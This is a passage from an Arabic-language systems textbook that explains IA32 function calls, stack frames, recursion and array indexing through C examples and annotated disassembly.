في الشكل 1، ينتمي الإطار النشط الحالي إلى الدالة المستدعاة (fname). وتُستخدم الذاكرة بين مؤشّر المكدّس ومؤشّر الإطار للمتغيرات المحلية. ويتحرك مؤشّر المكدّس عند دفع القيم المحلية إلى المكدّس وسحبها منه. وفي المقابل، يبقى مؤشّر الإطار ثابتًا نسبيًا، ويشير إلى بداية (قاعدة) إطار المكدّس الحالي. ونتيجة لذلك، تشير المترجمات مثل GCC عادةً إلى القيم الموجودة على المكدّس نسبةً إلى مؤشّر الإطار. وفي الشكل 1، يُحَدّ الإطار النشط من الأسفل بمؤشّر قاعدة الدالة fname، الذي يحتوي على عنوان المكدّس 0x418. والقيمة المخزّنة في هذا العنوان هي قيمة %ebp "المحفوظة" (0x42c)، التي تشير هي نفسها إلى قاعدة إطار التنشيط للدالة main. ويحدّ عنوان الإرجاع الجزء العلوي من إطار التنشيط للدالة main، وهو يشير إلى عنوان البرنامج الذي يستأنف فيه تنفيذ main عند انتهاء تنفيذ الدالة المستدعاة.
تحذير — عنوان الإرجاع يشير إلى ذاكرة البرنامج، لا إلى ذاكرة المكدّس
تذكّر أن منطقة مكدّس الاستدعاء (ذاكرة المكدّس) في البرنامج مختلفة عن منطقة الشيفرة (ذاكرة الشيفرة). فبينما يشير
%ebpو%espإلى مواقع في ذاكرة المكدّس، يشير%eipإلى موقع في ذاكرة الشيفرة. وبعبارة أخرى، عنوان الإرجاع عنوان في ذاكرة الشيفرة، لا في ذاكرة المكدّس:
الشكل 2. أجزاء فضاء عنونة البرنامج
يحتوي الجدول 1 على عدة تعليمات إضافية يستخدمها المترجم لإدارة الدوال الأساسية.
الجدول 1. تعليمات إدارة الدوال الشائعة
التعليمة
leave
الترجمة
تهيّئ المكدّس لمغادرة الدالة. وتكافئ:
mov %ebp, %esp
pop %ebp
التعليمة
call addr
الترجمة
تبدّل الإطار النشط إلى الدالة المستدعاة. وتكافئ:
push %eip
mov addr, %eip
التعليمة
ret
الترجمة
تعيد الإطار النشط إلى الدالة المستدعية. وتكافئ:
pop %eip
فمثلًا، التعليمة leave اختصار يستخدمه المترجم لاستعادة مؤشّري المكدّس والإطار عند تهيئته لمغادرة دالة. وعندما تنتهي الدالة المستدعاة من التنفيذ، تضمن leave أن مؤشّر الإطار يُستعاد إلى قيمته السابقة.
تؤدي التعلميتان call وret دورًا بارزًا في عملية استدعاء دالة لأخرى. وتعدّل كلتا التعلميتين مؤشّر التعليمات (السجل %eip). وعندما تنفّذ الدالة المستدعية التعليمة call، تُحفظ القيمة الحالية لـ%eip على المكدّس لتمثّل عنوان الإرجاع، أي عنوان البرنامج الذي يستأنف عنده المستدعي التنفيذ عند انتهاء الدالة المستدعاة. كما تستبدل التعليمة call قيمة %eip بعنوان الدالة المستدعاة.
وتعيد التعليمة ret قيمة %eip إلى القيمة المحفوظة على المكدّس، ما يضمن أن يستأنف البرنامج تنفيذه عند عنوان البرنامج المحدّد في الدالة المستدعية. وتُخزَّن أي قيمة تعيدها الدالة المستدعاة في %eax. وعادةً ما تكون التعليمة ret آخر تعليمة تُنفَّذ في أي دالة.
8.5.1. تتبّع مثال
باستخدام معرفتنا بإدارة الدوال، لنتبع مثال الشيفرة الذي قدّمناه لأول مرة في بداية هذا الفصل.
#include <stdio.h>
int assign(void) {
int y = 40;
return y;
}
int adder(void) {
int a;
return a + 2;
}
int main(void) {
int x;
assign();
x = adder();
printf("x is: %d\n", x);
return 0;
}
نترجم الشيفرة بالراية -m32 ونستخدم objdump -d لعرض شيفرة التجميع الأساسية. ويُخرج الأمر الأخير ملفًا كبيرًا إلى حد ما يحتوي على كثير من المعلومات التي لا نحتاجها. استخدم less ووظيفة البحث لاستخراج الدوال adder وassign وmain:
804840d <assign>:
804840d: 55 push %ebp
804840e: 89 e5 mov %esp,%ebp
8048410: 83 ec 10 sub $0x10,%esp
8048413: c7 45 fc 28 00 00 00 movl $0x28,-0x4(%ebp)
804841a: 8b 45 fc mov -0x4(%ebp),%eax
804841d: c9 leave
804841e: c3 ret
0804841f <adder>:
804841f: 55 push %ebp
8048420: 89 e5 mov %esp,%ebp
8048422: 83 ec 10 sub $0x10,%esp
8048425: 8b 45 fc mov -0x4(%ebp),%eax
8048428: 83 c0 02 add $0x2,%eax
804842b: c9 leave
804842c: c3 ret
0804842d <main>:
804842d: 55 push %ebp
804842e: 89 e5 mov %esp,%ebp
8048433: 83 ec 20 sub $0x14,%esp
8048436: e8 d2 ff ff ff call 804840d <assign>
804843b: e8 df ff ff ff call 804841f <adder>
8048440: 89 44 24 1c mov %eax,0xc(%esp)
8048444: 8b 44 24 1c mov 0xc(%esp),%eax
8048448: 89 44 24 04 mov %eax,0x4(%esp)
804844c: c7 04 24 f4 84 04 08 movl $0x80484f4,(%esp)
8048453: e8 88 fe ff ff call 80482e0 <printf@plt>
8048458: b8 00 00 00 00 mov $0x0,%eax
804845d: c9 leave
804845e: c3 ret
تبدأ كل دالة بوسم رمزي يقابل اسمها المعلَن في البرنامج. فمثلًا، : هو الوسم الرمزي للدالة main. وعنوان وسم الدالة هو أيضًا عنوان التعليمة الأولى في تلك الدالة. ولتوفير المساحة في الأشكال التالية، نقتطع العناوين إلى البتات الـ12 السفلى. لذا، يُعرض عنوان البرنامج 0x804842d بالشكل 0x42d.
8.5.2. تتبّع الدالة main
يعرض الشكل 3 مكدّس التنفيذ مباشرة قبل تنفيذ الدالة main.
الشكل 3. الحالة الأولية لسجلات وحدة المعالجة المركزية ومكدّس الاستدعاء قبل تنفيذ الدالة main
تذكّر أن المكدّس ينمو نحو العناوين الأدنى. وفي هذا المثال، %ebp عند العنوان 0x140، و%esp عند العنوان 0x130 (وكلا القيمتين مختلقتان لهذا المثال). ويحتوي السجلان %eax و%edx في البداية على قيم غير ذات معنى. ويشير السهم الأحمر (في أعلى اليسار) إلى التعليمة قيد التنفيذ. في البداية، يحتوي %eip على العنوان 0x42d، وهو عنوان ذاكرة البرنامج للسطر الأول في الدالة main. لنتبع تنفيذ البرنامج معًا.
تدفع التعليمة الأولى قيمة ebp إلى المكدّس، فتحفظ العنوان 0x140. وبما أن المكدّس ينمو نحو العناوين الأدنى، يُحدَّث مؤشّر المكدّس %esp إلى 0x12c، وهو أقل من 0x130 بمقدار 4 بايتات. ويتقدم السجل %eip إلى التعليمة التالية في التسلسل.
تحدّث التعليمة التالية (mov %esp, %ebp) قيمة %ebp لتصبح مساوية لـ%esp. ويشير مؤشّر الإطار (%ebp) الآن إلى بداية إطار المكدّس للدالة main. ويتقدم %eip إلى التعليمة التالية في التسلسل.
تطرح التعليمة sub القيمة 0x14 من عنوان مؤشّر المكدّس، فـ"تنمّي" المكدّس بمقدار 20 بايت. ويتقدم السجل %eip إلى التعليمة التالية، وهي أول تعليمة call.
تدفع التعليمة call القيمة الموجودة داخل السجل %eip (التي تدل على عنوان التعليمة التالية المراد تنفيذها) إلى المكدّس. وبما أن عنوان التعليمة التالية بعد call هو 0x43b، تُدفع هذه القيمة إلى المكدّس كعنوان الإرجاع. وتذكّر أن عنوان الإرجاع يشير إلى عنوان البرنامج الذي ينبغي أن يستأنف عنده التنفيذ عند عودة تنفيذ البرنامج إلى main.
بعد ذلك، تنقل التعليمة call عنوان الدالة assign (0x40d) إلى السجل %eip، ما يدل على أنه ينبغي أن يستمر تنفيذ البرنامج في الدالة المستدعاة assign لا في التعليمة التالية في main.
التعليمتان الأولى والثانية اللتان تُنفَّذان في الدالة assign هما الإجراءات الروتينية المعتادة التي تنفّذها كل دالة. فالتعليمة الأولى تدفع القيمة المخزّنة في %ebp (عنوان الذاكرة 0x12c) إلى المكدّس. وتذكّر أن هذا العنوان يشير إلى بداية إطار المكدّس للدالة main. ويتقدم %eip إلى التعليمة الثانية في assign.
تحدّث التعليمة التالية (mov %esp, %ebp) %ebp ليشير إلى قمة المكدّس، معلنةً بداية إطار المكدّس للدالة assign. ويتقدم مؤشّر التعليمات (%eip) إلى التعليمة التالية في الدالة assign.
تنمّي التعليمة sub عند العنوان 0x410 المكدّس بمقدار 16 بايت، فتنشئ مساحة إضافية في إطار المكدّس لتخزين القيم المحلية وتحدّث %esp. ويتقدم مؤشّر التعليمات مرة أخرى إلى التعليمة التالية في الدالة assign.
تنقل التعليمة mov عند العنوان 0x413 القيمة $0x28 (أو 40) إلى المكدّس عند العنوان -0x4(%ebp)، أي أربعة بايتات فوق مؤشّر الإطار. وتذكّر أن مؤشّر الإطار يُستخدم عادةً للإشارة إلى المواقع على المكدّس. ويتقدم %eip إلى التعليمة التالية في الدالة assign.
تضع التعليمة mov عند العنوان 0x41a القيمة $0x28 في السجل %eax، الذي يحمل قيمة إرجاع الدالة. ويتقدم %eip إلى التعليمة leave في الدالة assign.
في هذه المرحلة، تكون الدالة assign قد أكملت تنفيذها تقريبًا. والتعليمة التالية التي تُنفَّذ هي التعليمة leave، التي تهيّئ المكدّس للعودة من استدعاء الدالة. وتذكّر أن leave مماثلة للزوج التالي من التعليمات:
mov %ebp, %esp
pop %ebp
وبعبارة أخرى، تستبدل وحدة المعالجة المركزية مؤشّر المكدّس بمؤشّر الإطار. وفي مثالنا، يُحدَّث مؤشّر المكدّس أولًا من 0x100 إلى 0x110. بعد ذلك، تنفّذ وحدة المعالجة المركزية pop %ebp، التي تأخذ القيمة الموجودة عند 0x110 (في مثالنا، العنوان 0x12c) وتضعها في %ebp. وتذكّر أن 0x12c هو بداية إطار المكدّس للدالة main. ويصبح %esp مساويًا 0x114، ويشير %eip إلى التعليمة ret في الدالة assign.
التعليمة الأخيرة في assign هي التعليمة ret. وعندما تُنفَّذ ret، يُسحب عنوان الإرجاع من المكدّس إلى السجل %eip. وفي مثالنا، يتقدم %eip الآن إلى استدعاء الدالة adder.
بعض الأمور المهمة التي ينبغي ملاحظتها عند هذه المرحلة:
- أُعيد مؤشّر المكدّس ومؤشّر الإطار إلى قيمتيهما قبل استدعاء
assign، ما يعكس أن إطار المكدّس للدالةmainهو الإطار النشط مرة أخرى. - القيم القديمة على المكدّس من إطار المكدّس النشط السابق لا تُزال. فهي لا تزال موجودة على مكدّس الاستدعاء.
يستبدل استدعاء adder عنوان الإرجاع القديم على المكدّس بعنوان إرجاع جديد (0x440). ويشير عنوان الإرجاع هذا إلى التعليمة التالية المراد تنفيذها بعد عودة adder، أي mov %eax, 0xc(%esp). ويعكس %eip التعليمة الأولى المراد تنفيذها في adder، وهي عند العنوان 0x41f.
تحفظ التعليمة الأولى في الدالة adder مؤشّر إطار المستدعي (%ebp الخاص بـmain) على المكدّس.
تحدّث التعليمة التالية %ebp بالقيمة الحالية لـ%esp، أي العنوان 0x110. ومعًا، تؤسّس التعليمتان الأخيرتان بداية إطار المكدّس للدالة adder.
"تنمّي" التعليمة sub عند العنوان 0x422 المكدّس بمقدار 16 بايت. ولاحظ مرة أخرى أن إنماء المكدّس لا يؤثر على أي قيم أُنشئت سابقًا على المكدّس. ومرة أخرى، ستبقى القيم القديمة متناثرة على المكدّس إلى أن تُستبدل.
انتبه جيدًا للتعليمة التالية التي تُنفَّذ: mov $-0x4(%ebp), %eax. تنقل هذه التعليمة قيمة قديمة موجودة على المكدّس إلى السجل %eax! وهذا نتيجة مباشرة لكون المبرمج نسي تهيئة a في الدالة adder.
تضيف التعليمة add عند العنوان 0x428 القيمة 2 إلى السجل %eax. وتذكّر أن IA32 تمرّر قيمة الإرجاع عبر السجل %eax. وتمثّل التعليمتان الأخيرتان معًا الشيفرة التالية في adder:
int a;
return a + 2;
بعد تنفيذ leave، يشير مؤشّر الإطار مرة أخرى إلى بداية إطار المكدّس للدالة main، أي العنوان 0x12c. ويخزّن مؤشّر المكدّس الآن العنوان 0x114.
يؤدي تنفيذ ret إلى سحب عنوان الإرجاع من المكدّس، ما يعيد مؤشّر التعليمات إلى 0x440، أي عنوان التعليمة التالية المراد تنفيذها في main. وعنوان %esp هو الآن 0x118.
تضع التعليمة mov %eax, 0xc(%esp) القيمة الموجودة في %eax في موقع يبعد 12 بايت (ثلاث مسافات) أسفل %esp.
وبالتقدم قليلًا، تضبط التعليمة mov عند العنوانين 0x444 و0x448 قيمة %eax على القيمة المحفوظة في الموقع %esp+12 (أو 0x2A) وتضع 0x2A في موضع واحد أسفل قمة المكدّس (العنوان %esp + 4، أو 0x11c).
تنسخ التعليمة التالية (mov $0x80484f4, (%esp)) قيمة ثابتة هي عنوان ذاكرة إلى قمة المكدّس. وهذا العنوان بالتحديد، 0x80484f4، يحتوي على السلسلة "x is %d\n". ويتقدم مؤشّر التعليمات إلى استدعاء الدالة printf (المشار إليه بالوسم ``).
ومن أجل الإيجاز، لن نتتبع الدالة printf، التي تعدّ جزءًا من stdio.h. غير أننا نعرف من صفحة الدليل (man -s3 printf) أن لـprintf الصيغة التالية:
int printf(const char * format, ...)
وبعبارة أخرى، الوسيط الأول مؤشر إلى سلسلة تحدّد الصيغة، وتحدّد الوسائط من الثاني فصاعدًا القيم المستخدمة في تلك الصيغة. وتقابل التعليمات المحدّدة بالعناوين 0x444 - 0x45c السطر التالي في الدالة main:
printf("x is %d\n", x);
وعند استدعاء الدالة printf:
- يُدفع إلى المكدّس عنوان إرجاع يحدّد التعليمة التي تُنفَّذ بعد استدعاء
printf. - تُدفع قيمة
%ebpإلى المكدّس، ويُحدَّث%ebpليشير إلى قمة المكدّس، ما يدل على بداية إطار المكدّس للدالةprintf.
وفي مرحلة ما، تشير printf إلى وسائطها، وهي السلسلة "x is %d\n" والقيمة 0x2A. وتذكّر أن عنوان الإرجاع يقع مباشرة تحت %ebp عند الموقع %ebp+4. وبالتالي يقع الوسيط الأول عند %ebp+8 (أي مباشرة تحت عنوان الإرجاع)، ويقع الوسيط الثاني عند %ebp+12.
وبالنسبة لأي دالة لها n من الوسائط، يضع GCC الوسيط الأول عند الموقع %ebp+8، والثاني عند %ebp+12، والوسيط رقم n عند الموقع (%ebp+8) + (4*(n-1)).
وبعد استدعاء printf، تُخرج القيمة 0x2A إلى المستخدم بصيغة عدد صحيح. وهكذا، تُطبع القيمة 42 على الشاشة!
بعد استدعاء printf، تنظّف التعليمات القليلة الأخيرة المكدّس وتهيّئ خروجًا نظيفًا من الدالة main. أولًا، تُوضع القيمة 0x0 في السجل %eax، ما يدل على أن القيمة 0 تُعاد من main. وتذكّر أن البرنامج يعيد 0 للدلالة على انتهاء صحيح.
وبعد تنفيذ leave وret، يعود مؤشّر المكدّس ومؤشّر الإطار إلى قيمتيهما الأصلية قبل تنفيذ main. وبوجود 0x0 في سجل الإرجاع %eax، يعيد البرنامج 0.
إذا قرأت هذا القسم بعناية، فينبغي أن تفهم سبب طباعة برنامجنا القيمة 42. ففي جوهر الأمر، يستخدم البرنامج دون قصد قيمًا قديمة على المكدّس ليتصرف بطريقة لم نكن نتوقعها. ومع أن هذا المثال كان غير ضار إلى حد كبير، نناقش في أقسام قادمة كيف أساء القراصنة استخدام استدعاءات الدوال لجعل البرامج تتصرف بطرق خبيثة حقًا.
الدوال العودية فئة خاصة من الدوال تستدعي نفسها (وتُعرف أيضًا بـالدوال ذاتية الإشارة) لحساب قيمة. ومثل نظيراتها غير العودية، تنشئ الدوال العودية إطارات مكدّس جديدة لكل استدعاء دالة. وخلافًا للدوال القياسية، تحتوي الدوال العودية على استدعاءات لنفسها.
لنعد إلى مسألة جمع مجموعة الأعداد الصحيحة الموجبة من 1 إلى n. ناقشنا في أقسام سابقة الدالة sumUp لإنجاز هذه المهمة. ويعرض الجدول 1 دالة مرتبطة اسمها sumDown تجمع الأعداد بترتيب عكسي (من n إلى 1)، ومكافئتها العودية sumr:
الجدول 1. النسخة التكرارية (sumDown) والنسخة العودية (sumr)
تكرارية
int sumDown(int n) {
int total = 0;
int i = n;
while (i > 0) {
total += i;
i--;
}
return total;
}
عودية
int sumr(int n) {
if (n <= 0) {
return 0;
}
return n + sumr(n-1);
}
تعالج الحالة الأساسية في الدالة العودية sumr أي قيم لـn أقل من واحد، وتضيف الخطوة العودية قيمة n الحالية إلى نتيجة استدعاء الدالة sumr بالقيمة n-1. وترجمة sumr بالراية -m32 وفكّ تجميعها باستخدام GDB ينتج شيفرة التجميع التالية:
0x0804841d <+0>: push %ebp # save ebp
0x0804841e <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x08048420 <+3>: sub $0x8,%esp # add 8 bytes to stack frame
0x08048423 <+6>: cmp $0x0,0x8(%ebp) # compare ebp+8 (n) with 0
0x08048427 <+10>: jg 0x8048430 <sumr+19> # if (n > 0), goto <sumr+19>
0x08048429 <+12>: mov $0x0,%eax # copy 0 to eax (result)
0x0804842e <+17>: jmp 0x8048443 <sumr+38> # goto <sumr+38>
0x08048430 <+19>: mov 0x8(%ebp),%eax # copy n to eax (result)
0x08048433 <+22>: sub $0x1,%eax # subtract 1 from n (result--)
0x08048436 <+25>: mov %eax,(%esp) # copy n-1 to top of stack
0x08048439 <+28>: call 0x804841d <sumr> # call sumr() function
0x0804843e <+33>: mov 0x8(%ebp),%edx # copy n to edx
0x08048441 <+36>: add %edx,%eax # add n to result (result+=n)
0x08048443 <+38>: leave # prepare to leave the function
0x08048444 <+39>: ret # return result
كل سطر في شيفرة التجميع السابقة مشروح بترجمته. ويعرض الجدول 2 صيغة goto المقابلة وبرنامج C دون عبارات goto:
الجدول 2. صيغة goto بلغة C وترجمة شيفرة تجميع sumr
صيغة goto بلغة C
int sumr(int n) {
int result;
if (n > 0) {
goto body;
}
result = 0;
goto done;
body:
result = n;
result -= 1;
result = sumr(result);
result += n;
done:
return result;
}
نسخة C دون عبارات goto
int sumr(int n) {
int result;
if (n <= 0) {
return 0;
}
result = sumr(n-1);
result += n;
return result;
}
مع أن هذه الترجمة قد لا تبدو في البداية مطابقة للدالة sumr الأصلية، فإن التدقيق يكشف أن الدالتين متكافئتان فعلًا.
8.6.1. رسوم متحركة: مراقبة كيفية تغيّر مكدّس الاستدعاء
كتبيين، نشجّعك على رسم المكدّس ورؤية كيفية تغيّر القيم. ويوضّح الرسم المتحرك أدناه كيفية تحديث المكدّس عند تشغيل هذه الدالة بالقيمة 3.
تذكّر أن المصفوفات مجموعات مرتّبة من عناصر بيانات من النوع نفسه مخزّنة بشكل متجاور في الذاكرة. ويكون الشكل العام لـالمصفوفات أحادية البعد المخصّصة تخصيصًا ساكنًا Type arr[N]، حيث Type هو نوع البيانات، وarr هو المعرّف المرتبط بالمصفوفة، وN هو عدد عناصر البيانات. وتخصيص مصفوفة تخصيصًا ساكنًا بالشكل Type arr[N] أو ديناميكيًا بالشكل arr = malloc(N*sizeof(Type)) يحجز N × sizeof(Type) بايت إجمالًا من الذاكرة، مع إشارة arr إليها.
للوصول إلى العنصر عند الفهرس i في المصفوفة arr، استخدم الصيغة arr[i]. وتحوّل المترجمات عادةً مراجع المصفوفات إلى حساب المؤشرات قبل الترجمة إلى لغة التجميع. لذا، arr+i تكافئ &arr[i]، و*(arr+i) تكافئ arr[i]. وبما أن كل عنصر بيانات في arr من نوع Type، فإن arr+i تعني أن العنصر i مخزّن عند العنوان arr + sizeof(Type) * i.
يبيّن الجدول 1 بعض عمليات المصفوفات الشائعة وتعليمات التجميع المقابلة لها. ولنفترض أن السجل %edx يخزّن عنوان arr، وأن السجل %ecx يخزّن القيمة i، وأن السجل %eax يمثّل متغيرًا ما اسمه x.
| العملية | النوع | التمثيل بلغة التجميع |
|---|---|---|
x = arr |
int * |
movl %edx, %eax |
x = arr[0] |
int |
movl (%edx), %eax |
x = arr[i] |
int |
movl (%edx, %ecx,4), %eax |
x = &arr[3] |
int * |
leal 0xc(%edx), %eax |
x = arr+3 |
int * |
leal 0xc(%edx), %eax |
x = *(arr+3) |
int |
movl 0xc(%edx), %eax |
انتبه جيدًا إلى نوع كل تعبير في ArrayOps. وبشكل عام، يستخدم المترجم تعليمات movl لإلغاء إشارة المؤشرات، وتعليمة leal لحساب العناوين.
لاحظ أنه للوصول إلى العنصر arr[3] (أو *(arr+3) باستخدام حساب المؤشرات)، ينفّذ المترجم بحثًا في الذاكرة عند العنوان arr+3*4 بدلًا من arr+3. ولفهم سبب ضرورة ذلك، تذكّر أن أي عنصر عند الفهرس i في مصفوفة مخزّن عند العنوان arr + sizeof(Type) * i. ولذلك يجب على المترجم ضرب الفهرس في حجم نوع البيانات لحساب الإزاحة الصحيحة. وتذكّر أيضًا أن الذاكرة قابلة للعنونة بالبايت؛ فالإزاحة بعدد البايتات الصحيح تعادل حساب عنوان.
وكمثال، تأمّل مصفوفة نموذجية (array) فيها خمسة عناصر صحيحة (الشكل 1):
الشكل 1. تخطيط مصفوفة من خمسة أعداد صحيحة في الذاكرة. يمثّل كل صندوق مُعلَّم بـxi بايتًا واحدًا، وكل عدد صحيح أربعة بايتات.
لاحظ أنه بما أن array مصفوفة أعداد صحيحة، فإن كل عنصر يشغل أربعة بايتات بالضبط. وهكذا، تستهلك مصفوفة صحيحة من خمسة عناصر 20 بايتًا من الذاكرة المتجاورة.
لحساب عنوان العنصر 3، يضرب المترجم الفهرس 3 في حجم بيانات النوع الصحيح (4) فينتج إزاحة مقدارها 12. وبالفعل، يقع العنصر 3 في FigArray6 عند الإزاحة x12 بالبايت.
لنلقِ نظرة على دالة C بسيطة اسمها sumArray تجمع جميع عناصر مصفوفة:
int sumArray(int *array, int length) {
int i, total = 0;
for (i = 0; i < length; i++) {
total += array[i];
}
return total;
}
تأخذ الدالة sumArray عنوان مصفوفة وطولها المرتبط بها وتجمع جميع عناصر المصفوفة. والآن ألقِ نظرة على شيفرة التجميع المقابلة للدالة sumArray:
<sumArray>:
<+0>: push %ebp # save ebp
<+1>: mov %esp,%ebp # update ebp (new stack frame)
<+3>: sub $0x10,%esp # add 16 bytes to stack frame
<+6>: movl $0x0,-0x8(%ebp) # copy 0 to %ebp-8 (total)
<+13>: movl $0x0,-0x4(%ebp) # copy 0 to %ebp-4 (i)
<+20>: jmp 0x80484ab <sumArray+46> # goto <sumArray+46> (start)
<+22>: mov -0x4(%ebp),%eax # copy i to %eax
<+25>: lea 0x0(,%eax,4),%edx # copy i*4 to %edx
<+32>: mov 0x8(%ebp),%eax # copy array to %eax
<+35>: add %edx,%eax # copy array+i*4 to %eax
<+37>: mov (%eax),%eax # copy *(array+i*4) to %eax
<+39>: add %eax,-0x8(%ebp) # add *(array+i*4) to total
<+42>: addl $0x1,-0x4(%ebp) # add 1 to i
<+46>: mov -0x4(%ebp),%eax # copy i to %eax
<+49>: cmp 0xc(%ebp),%eax # compare i with length
<+52>: jl 0x8048493 <sumArray+22> # if i<length goto <sumArray+22> (loop)
<+54>: mov -0x8(%ebp),%eax # copy total to eax
<+57>: leave # prepare to leave the function
<+58>: ret # return total
عند تتبع شيفرة التجميع هذه، تأمّل ما إذا كانت البيانات التي يجري الوصول إليها تمثّل عنوانًا أم قيمة. فمثلًا، تؤدي التعليمة عند `` إلى أن يحتوي %ebp-4 على متغير من نوع int، يُضبط في البداية على 0. وفي المقابل، الوسيط المخزّن عند %ebp+8 هو الوسيط الأول للدالة (array) وهو من نوع int * ويقابل العنوان الأساسي للمصفوفة. ويُخزَّن متغير آخر (نسمّيه total) في الموقع %ebp-8.
لنلقِ نظرة أقرب على التعليمات الخمس بين الموقعين و:
<+22>: mov -0x4(%ebp),%eax # copy i to %eax
<+25>: lea 0x0(,%eax,4),%edx # copy i*4 to %edx
<+32>: mov 0x8(%ebp),%eax # copy array to %eax
<+35>: add %edx,%eax # copy array+i*4 to %eax
<+37>: mov (%eax),%eax # copy *(array+i*4) to %eax
<+39>: add %eax,-0x8(%ebp) # add *(array+i*4) to total (total+=array[i])
تذكّر أن المترجم يستخدم lea عادةً لإجراء عمليات حسابية بسيطة على المعاملات. ويُترجم المعامل 0x0(,%eax,4) إلى %eax*4 + 0x0. وبما أن %eax يحمل قيمة i، تنسخ هذه العملية القيمة i*4 إلى %edx. وعند هذه النقطة، يحتوي %edx على عدد البايتات التي يجب إضافتها لحساب الإزاحة الصحيحة لـarray[i].
تنسخ التعليمة التالية (mov 0x8(%ebp), %eax) الوسيط الأول (العنوان الأساسي لـarray) إلى %eax. وتؤدي إضافة %edx إلى %eax في التعليمة التالية إلى أن يحتوي %eax على array+i*4. وتذكّر أن العنصر عند الفهرس i في array مخزّن عند العنوان array + sizeof(T) * i. ولذلك، يحتوي %eax الآن على حساب العنوان &array[i] على مستوى لغة التجميع.
تُلغي التعليمة عند الإشارة عن القيمة الموجودة في `%eax`، فتضع قيمة `array[i]` في `%eax`. وأخيرًا، يُضاف `%eax` إلى القيمة الموجودة في `%ebp-8`، أي `total`. ولذلك، تقابل التعليمات الخمس بين الموقعين و`` السطر total += array[i] في الدالة sumArray.
المصفوفة ثنائية الأبعاد (2D) هي مصفوفة ذات بُعدين. ويمكن تخصيص المصفوفة في لغة C تخصيصًا ساكنًا كمصفوفة ثنائية الأبعاد (M[n][m])، أو تخصيصها ديناميكيًا باستدعاء واحد لـmalloc، أو تخصيصها ديناميكيًا كمصفوفة من مصفوفات. لننظر إلى تطبيق المصفوفة من مصفوفات. فالمصفوفة الأولى تحتوي على n عنصرًا (M[n])، وكل عنصر M[i] في مصفوفتنا يحتوي على مصفوفة من m عنصرًا. وتعريفات الشيفرة التالية تعلن كلها مصفوفات بحجم 4 × 3:
//statically allocated matrix (allocated on stack)
int M1[4][3];
//dynamically allocated matrix (programmer friendly, allocated on heap)
int **M2, i;
M2 = malloc(4 * sizeof(int*));
for (i = 0; i < 4; i++) {
M2[i] = malloc(3 * sizeof(int));
}
في حالة المصفوفة المخصّصة ديناميكيًا، تحتوي المصفوفة الرئيسية على مصفوفة متجاورة من مؤشرات int. ويشير كل مؤشر صحيح إلى مصفوفة مختلفة في الذاكرة. ويوضّح الشكل 1 كيف نتصور عادةً كلًّا من هاتين المصفوفتين.
الشكل 1. توضيح لمصفوفة مخصّصة ساكنًا (M1) ومصفوفة مخصّصة ديناميكيًا (M2) بحجم 3×4
في كلا تعريفي المصفوفة، يمكن الوصول إلى العنصر (i،j) باستخدام صيغة الفهرسة المزدوجة M[i][j]، حيث M هي إما M1 وإما M2. غير أن هاتين المصفوفتين منظّمتان بشكل مختلف في الذاكرة. ومع أن كلتيهما تخزّن العناصر في مصفوفتها الأساسية بشكل متجاور في الذاكرة، فإن مصفوفتنا المخصّصة ساكنًا تخزّن أيضًا جميع الصفوف بشكل متجاور في الذاكرة، كما هو معروض في الشكل 2.
الشكل 2. تخطيط ذاكرة المصفوفة M1 بترتيب الصفوف أولًا (row-major)
وهذا الترتيب المتجاور غير مضمون في M2. وتذكّر أن تخصيص مصفوفة n × m بشكل متجاور على الكومة يتطلب استخدام استدعاء واحد لـmalloc يحجز n × m عنصرًا:
//dynamic matrix (allocated on heap, memory efficient way)
#define ROWS 4
#define COLS 3
int *M3;
M3 = malloc(ROWS * COLS * sizeof(int));
تذكّر أنه مع تعريف M3، لا يمكن الوصول إلى العنصر (i،j) باستخدام الصيغة M[i][j]. وبدلًا من ذلك، يجب فهرسة العنصر بالصيغة M3[i*cols + j].
8.8.1. المصفوفات ثنائية الأبعاد المتجاورة
تأمّل دالة sumMat تأخذ مؤشرًا إلى مصفوفة مخصّصة بشكل متجاور (إما ساكنًا وإما ديناميكيًا بطريقة موفّرة للذاكرة) كمعاملها الأول، مع عددي الصفوف والأعمدة، وتعيد مجموع جميع العناصر داخل المصفوفة.
نستخدم الفهرسة المُقاسة في مقطع الشيفرة التالي لأنها تنطبق على المصفوفات المتجاورة المخصّصة ساكنًا وديناميكيًا معًا. وتذكّر أن الصيغة m[i][j] لا تعمل مع التخصيص الديناميكي المتجاور الموفّر للذاكرة الذي ناقشناه سابقًا.
int sumMat(int *m, int rows, int cols) {
int i, j, total = 0;
for (i = 0; i < rows; i++){
for (j = 0; j < cols; j++){
total += m[i*cols + j];
}
}
return total;
}
وفيما يلي شيفرة التجميع المقابلة. وكل سطر مشروح بترجمته:
<sumMat>:
0x08048507 <+0>: push %ebp #save ebp
0x08048508 <+1>: mov %esp,%ebp #update ebp (new stack frame)
0x0804850a <+3>: sub $0x10,%esp #add 4 more spaces to stack frame
0x0804850d <+6>: movl $0x0,-0xc(%ebp) #copy 0 to ebp-12 (total)
0x08048514 <+13>: movl $0x0,-0x4(%ebp) #copy 0 to ebp-4 (i)
0x0804851b <+20>: jmp 0x8048555 <sumMat+78> #goto <sumMat+78>
0x0804851d <+22>: movl $0x0,-0x8(%ebp) #copy 0 to ebp-8 (j)
0x08048524 <+29>: jmp 0x8048549 <sumMat+66> #goto <sumMat+66>
0x08048526 <+31>: mov -0x4(%ebp),%eax #copy i to eax
0x08048529 <+34>: imul 0x10(%ebp),%eax #multiply i * cols, place in eax
0x0804852d <+38>: mov %eax,%edx #copy i*cols to edx
0x0804852f <+40>: mov -0x8(%ebp),%eax #copy j to %eax
0x08048532 <+43>: add %edx,%eax #add i*cols with j, place in eax
0x08048534 <+45>: lea 0x0(,%eax,4),%edx #mult (i*cols+j) by 4,put in edx
0x0804853b <+52>: mov 0x8(%ebp),%eax #copy m pointer to eax
0x0804853e <+55>: add %edx,%eax #add m to (i*cols+j)*4,put in eax
0x08048540 <+57>: mov (%eax),%eax #copy m[i*cols+j] to eax
0x08048542 <+59>: add %eax,-0xc(%ebp) #add eax to total
0x08048545 <+62>: addl $0x1,-0x8(%ebp) #increment j by 1 (j+=1)
0x08048549 <+66>: mov -0x8(%ebp),%eax #copy j to eax
0x0804854c <+69>: cmp 0x10(%ebp),%eax #compare j with cols
0x0804854f <+72>: jl 0x8048526 <sumMat+31> #if (j < cols) goto <sumMat+31>
0x08048551 <+74>: addl $0x1,-0x4(%ebp) #add 1 to i (i+=1)
0x08048555 <+78>: mov -0x4(%ebp),%eax #copy i to eax
0x08048558 <+81>: cmp 0xc(%ebp),%eax #compare i with rows
